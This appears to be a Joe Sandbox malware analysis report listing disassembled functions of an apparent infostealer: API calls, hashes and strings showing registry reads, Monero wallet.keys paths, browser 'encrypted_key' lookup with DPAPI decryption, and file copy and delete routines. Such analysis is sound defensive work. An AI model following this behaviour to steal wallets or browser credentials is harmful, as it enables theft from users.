Opcode ID: d63ea1a98d951cfe9b70937f98db1658d483a828838750b490f79750ce2d187d
Instruction ID: 43f2048f34d8dc55f592cc30da63cbdf9fd528fcf1c1cc027cc4dfd2b161085b
Opcode Fuzzy Hash: d63ea1a98d951cfe9b70937f98db1658d483a828838750b490f79750ce2d187d
Instruction Fuzzy Hash: DA01DE75500208FFDB04DFECC984EAE7BB9FB48355F108549F9099B245C635EA40DB95

Function 00A412A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A412B4
RtlAllocateHeap.NTDLL(00000000), ref: 00A412BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00A412D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00A412F5
RegCloseKey.ADVAPI32(?), ref: 00A412FF

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 6bdecf6adc04e8f76802fac5956d7545bdb7539560695fa4864ba7347bafcc6c
Instruction ID: 2f65f982d706bf6ed79863e364944e398b52383b442f8062c3093c6fe476f79f
Opcode Fuzzy Hash: 6bdecf6adc04e8f76802fac5956d7545bdb7539560695fa4864ba7347bafcc6c
Instruction Fuzzy Hash: 9E0136B9A40208BBEB00DFD0DC49FAEB7B8EB48701F008159FA05D72C0D6749A019F55

Function 00A5C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00A5C8EC
___crtLCMapStringA.LIBCMT ref: 00A5C90C
___crtLCMapStringA.LIBCMT ref: 00A5C931

Strings

, xrefs: 00A5C896

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 853d46ff129cd9bd39e2d519ac8ece3d383d6e1f1d7b72dc886cb5f6d09dc218
Instruction ID: bc86f3a6334949a6021b638980b05e1d2b0e569b585534eb99ba7842e024b4ed
Opcode Fuzzy Hash: 853d46ff129cd9bd39e2d519ac8ece3d383d6e1f1d7b72dc886cb5f6d09dc218
Instruction Fuzzy Hash: 5F41D4B150079C9EDB218B248D84BFBBBF8BB45715F1444A8ED8A86186D2719A49CF60

Function 00A56630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00A56663

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

ShellExecuteEx.SHELL32(0000003C), ref: 00A56726
ExitProcess.KERNEL32 ref: 00A56755

Strings

<, xrefs: 00A566D9

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 5a15be8a490a2397eca2187096fb37ceb483a997dd0a910824030441dfc3b7d5
Instruction ID: 54017a9601416e3f119df8661e3935a344eca7bae3148246055f97e8cfd1b9a4
Opcode Fuzzy Hash: 5a15be8a490a2397eca2187096fb37ceb483a997dd0a910824030441dfc3b7d5
Instruction Fuzzy Hash: 333149B1901218AADB14EB90DD82BDEB778BF14301F404299F70966191DF746B48CF6A

Function 00A587C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A60E28,00000000,?), ref: 00A5882F
RtlAllocateHeap.NTDLL(00000000), ref: 00A58836
wsprintfA.USER32 ref: 00A58850

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Strings

%dx%d, xrefs: 00A58847

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: d0a065f766faf8da72814911dde543cd0bd5bd578a16397e384482237f790708
Instruction ID: 2f0dbfe5f5913254e272aa5ad44b25f7a5c9200d9e1ac2c3389460de13d67d27
Opcode Fuzzy Hash: d0a065f766faf8da72814911dde543cd0bd5bd578a16397e384482237f790708
Instruction Fuzzy Hash: 8E2100B1A40204BFEB04DFD4DD45FAEBBB8FB48711F104519FA05A72C0C77999018BA5

Function 00A58D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00A5951E,00000000), ref: 00A58D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00A58D62
wsprintfW.USER32 ref: 00A58D78

Strings

%hs, xrefs: 00A58D6F

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 8ab8ef96c2d705768631713ee7f55419d8b0c07fcc1cbdd6aaf23c12e1c5ab7a
Instruction ID: 6e1d0db612b6c73483daa20f53e67f9c7ccf5494abf670e9f8e2d11a0b4a96d4
Opcode Fuzzy Hash: 8ab8ef96c2d705768631713ee7f55419d8b0c07fcc1cbdd6aaf23c12e1c5ab7a
Instruction Fuzzy Hash: AAE0ECB5A40208BBE710DB94DD0AF6D77B8EB44702F004595FE0997280DA719E109BAA

Function 00A4A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A58B60: GetSystemTime.KERNEL32(00A60E1A,0160A9C8,00A605AE,?,?,00A413F9,?,0000001A,00A60E1A,00000000,?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A58B86

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A4A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00A4A3FF
lstrlen.KERNEL32(00000000), ref: 00A4A6BC

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

DeleteFileA.KERNEL32(00000000), ref: 00A4A743

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 54fc089d7e968ffe62da8bdcb9235501fb0a53bda0fafe5255dbbc9d40215be7
Instruction ID: 12ffd4d0e084c469a153febb6bd5a292b61dd5f7aeb101fe6612072527f38002
Opcode Fuzzy Hash: 54fc089d7e968ffe62da8bdcb9235501fb0a53bda0fafe5255dbbc9d40215be7
Instruction Fuzzy Hash: F8E10272A101189ADB04FBA4DE92EEE733CBF64301F508659F91772091EF346A4DCB66

Function 00A4D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A58B60: GetSystemTime.KERNEL32(00A60E1A,0160A9C8,00A605AE,?,?,00A413F9,?,0000001A,00A60E1A,00000000,?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A58B86

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A4D481
lstrlen.KERNEL32(00000000), ref: 00A4D698
lstrlen.KERNEL32(00000000), ref: 00A4D6AC
DeleteFileA.KERNEL32(00000000), ref: 00A4D72B

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 77365c2c1f6a93be811f7647403b60b7887335bee5d3bd46ac259149a19e9a65
Instruction ID: f089b61d726a62104386f8be4a9dacf9184718e8af9b82d5af1eec672cda93c6
Opcode Fuzzy Hash: 77365c2c1f6a93be811f7647403b60b7887335bee5d3bd46ac259149a19e9a65
Instruction Fuzzy Hash: DC911472A101189BDB04FBA0DE56EEE7338BF64301F504669F907B6091EF346A4DCB66

Function 00A4D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A58B60: GetSystemTime.KERNEL32(00A60E1A,0160A9C8,00A605AE,?,?,00A413F9,?,0000001A,00A60E1A,00000000,?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A58B86

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A4D801
lstrlen.KERNEL32(00000000), ref: 00A4D99F
lstrlen.KERNEL32(00000000), ref: 00A4D9B3
DeleteFileA.KERNEL32(00000000), ref: 00A4DA32

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2932963edf25924533e3f2a92edf5ecec170e9dec29538390f24b6d01bd2dea7
Instruction ID: 809b05af089b9039faa8f6cc462d4b6436865fb35c67580ac62e6cce049ebdce
Opcode Fuzzy Hash: 2932963edf25924533e3f2a92edf5ecec170e9dec29538390f24b6d01bd2dea7
Instruction Fuzzy Hash: 1681D472A101189BDB04FBA4DE56EEE7338BF64301F504629F907A6091FF346A4DCB66

Function 00A53560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 97d33dab8779176e0f378c3df9e3c9034501eafa8943c7f69cd9d6b89bff2f05
Instruction ID: 8cace3af4a1a587fbb724a20ebc2831057fcabf80d21d641f29534bc7d1d282f
Opcode Fuzzy Hash: 97d33dab8779176e0f378c3df9e3c9034501eafa8943c7f69cd9d6b89bff2f05
Instruction Fuzzy Hash: 2C414D72E10108AFCF04EFA4D945AEFB774BF54305F008518E912A6291EB74AA49CFA2

Function 00A49CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A499EC
Part of subcall function 00A499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A49A11
Part of subcall function 00A499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A49A31
Part of subcall function 00A499C0: ReadFile.KERNEL32(000000FF,?,00000000,00A4148F,00000000), ref: 00A49A5A
Part of subcall function 00A499C0: LocalFree.KERNEL32(00A4148F), ref: 00A49A90
Part of subcall function 00A499C0: CloseHandle.KERNEL32(000000FF), ref: 00A49A9A

Part of subcall function 00A58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A58E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00A49D39

Part of subcall function 00A49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A44EEE,00000000,00000000), ref: 00A49AEF
Part of subcall function 00A49AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00A44EEE,00000000,?), ref: 00A49B01
Part of subcall function 00A49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A44EEE,00000000,00000000), ref: 00A49B2A
Part of subcall function 00A49AC0: LocalFree.KERNEL32(?,?,?,?,00A44EEE,00000000,?), ref: 00A49B3F

Part of subcall function 00A49B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00A49B84
Part of subcall function 00A49B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00A49BA3
Part of subcall function 00A49B60: LocalFree.KERNEL32(?), ref: 00A49BD3

Strings

, xrefs: 00A49DC1
"encrypted_key":", xrefs: 00A49D30
DPAPI, xrefs: 00A49D89

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
